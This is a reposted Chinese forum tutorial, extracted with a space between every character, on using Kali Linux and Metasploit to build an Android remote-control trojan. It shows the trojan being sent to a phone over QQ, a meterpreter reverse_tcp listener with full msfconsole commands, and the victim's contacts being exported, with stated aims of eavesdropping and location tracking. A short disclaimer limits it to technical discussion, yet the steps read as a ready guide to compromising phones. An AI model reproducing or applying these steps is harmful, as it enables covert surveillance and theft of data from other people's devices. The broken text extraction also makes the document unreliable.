搜索

[18166] 2020-10-18_渗透测试-Kali入侵局域网手机

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-10-18_渗透测试-Kali入侵局域网手机 渗 透 测 试 - K a l i 入 侵 局 域 网 手 机 T r u e B W   H A C K 之 道   2 0 2 0 - 1 0 - 1 8 作 者 ： 作 者 ： T r u e B W ， 来 源 ： ， 来 源 ： h t t p s : / / b l o g . c s d n . n e t / 前 言 前 言 严 正 声 明 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 。 本 文 目 的 本 文 目 的 ： 演 示 如 何 借 助 系 统 的 渗 透 测 试 框 架 生 成 远 程 控 制 木 马 ， 然 后 感 染 局 域 网 内 的 A n d r o i d 手 机 ， 从 而 实 现 对 受 害 者 手 机 数 据 的 读 取 、 音 频 的 窃 听 、 位 置 的 获 取 、 软 件 安 装 或 卸 载 等 。 环 境 说 明 环 境 说 明 机 器 机 器 I P 地 址 地 址 W i n 1 0   物 理 主 机 1 9 2 . 1 6 8 . 0 . 1 0 5 K a l i   虚 拟 机 1 9 2 . 1 6 8 . 0 . 1 9 9 h o n o r   8   测 试 手 机 1 9 2 . 1 6 8 . 0 . 1 0 7 W i n 1 0 主 机 和 手 机 应 连 接 同 一 个 W I F I ， K a l i 虚 拟 机 安 装 在 V M w a r e 中 ， 使 用 桥 接 模 式 使 得 可 配 置 其 I P 地 址 跟 物 理 主 机 、 手 机 在 同 一 个 网 段 之 中 ， 形 成 一 个 小 局 域 网 。 攻 击 准 备 攻 击 准 备 木 马 生 成 木 马 生 成 1 、 先 说 点 废 话 ， 来 确 认 下   K a l i   虚 拟 机 配 置 好 的 I P 地 址 ： K a l i   L i n u x M e t a s p l o i t
2 、 在   K a l i   终 端 输 入 以 下 命 令 在   K a l i   虚 拟 机 路 径 下 生 成 木 马 文 件 ： 传 输 木 马 传 输 木 马 远 控 木 马 文 件 已 经 生 成 了 ， 但 如 何 从   K a l i   虚 拟 机 传 输 到   W i n 1 0   物 理 主 机 并 进 一 步 传 输 到 受 害 者 手 机 呢 ？ 1 、 使 用 X s h e l l 远 程 连 接 工 具 ， 新 建 如 下 S F T P 协 议 的 文 件 传 输 会 话 ： / r o o t 5 2 0 . a p k
2 、 同 时 配 置 好 与 远 程   K a l i   主 机 对 接 的 本 地 文 件 夹 ， 用 于   W i n   1 0   主 机 传 输 文 件 的 默 认 存 放 路 径 ： 3 、 输 入   k a l i   主 机 的 账 户 和 密 码 进 行 登 陆 并 成 功 连 接 后 ， 使 用 命 令 从 K a l i   主 机 下 载 木 马 文 件 到 本 地 文 件 夹 g e t   5 2 0 . a p k D : C o d e
下 ： 4 、 在   W i n   1 0   主 机 本 地 文 件 夹 确 认 下 文 件 是 否 下 载 成 功 ： 安 装 木 马 安 装 木 马 1 、 再 废 话 一 下 ， 查 看 并 确 认 华 为 测 试 手 机 的 I P 地 址 与   K a l i   虚 拟 机 、 W i n   1 0 主 机 在 同 一 网 段 内 ：
2 、 在   K a l i   虚 拟 机 里 查 看 能 否 连 通 手 机 （ 这 是 后 续 攻 击 成 功 的 基 础 ） ： 3 、 在   W i n   1 0   主 机 打 开 Q Q 程 序 ， 向 华 为 手 机 发 送 木 马 文 件 并 安 装 ( 这 个 就 不 用 演 示 了 吧 … ) ， 安 装 后 如 下 ：
开 始 攻 击 开 始 攻 击 M S F 监 听 监 听 K a l i   终 端 依 次 执 行 以 下 命 令 ： 1 2 3 4 5 6 1 、 在   K a l i   终 端 输 入 命 令 启 动 框 架 ： m s f c o n s o l e                                 / / 启 动 m s f c o n s o l e u s e   e x p l o i t / m u l t i / h a n d l e r   / / 加 载 模 块 s e t   p a y l o a d   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p   / / 选 择 P a y l o a d s e t   l h o s t   1 9 2 . 1 6 8 . 0 . 1 9 9     / / 这 里 的 地 址 设 置 成 我 们 刚 才 生 成 木 马 的 I P 地 址 s e t   l p o r t   9 9 9 9                       / / 这 里 的 端 口 设 置 成 刚 才 我 们 生 成 木 马 所 监 听 的 端 口 e x p l o i t                                     / / 开 始 执 行 漏 洞 ， 开 始 监 听 , 等 待 手 机 上 线 m s f c o n s o l e M e t a s p l o i t
2 、 依 次 以 下 执 行 命 令 加 载 攻 击 模 块 、 选 择 P a y l o a d 、 设 置 本 地 监 听 主 机 的 I P 和 端 口 ： 3 、 执 行 命 令 e x p l o i t
， 开 始 执 行 攻 击 程 序 ， 进 入 监 听 状 态 ， 等 待 目 标 手 机 上 线 （ 用 户 点 击 木 马 程 序 ） ： 4 、 此 时 手 动 点 击 刚 才 手 机 中 安 装 的 程 序 图 标 （ 没 有 界 面 ） ， 则 可 成 功 建 立 攻 击 会 话 ： 5 、 此 时 输 入 命 令 可 查 看 具 体 的 攻 击 命 令 和 描 述 ， 后 面 将 选 择 几 个 进 行 演 示 ： M a i n A c t i v i t y h e l p
命 令 行 执 行 命 令 行 执 行 成 功 建 立 攻 击 会 话 后 可 以 对 受 害 者 手 机 进 行 像 L i n u x 主 机 s h e l l 一 样 对 手 机 进 行 命 令 执 行 操 作 ：
通 讯 录 下 载 通 讯 录 下 载 1 、 在 攻 击 会 话 中 执 行 命 令 导 出 受 害 者 手 机 通 讯 录 里 的 信 息 到   K a l i   虚 拟 机 路 径 下 ： 2 、 在 虚 拟 机 中 查 看 一 下 导 出 来 的 通 讯 录 文 件 ： d u m p _ c o n t a c t s / r o o t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理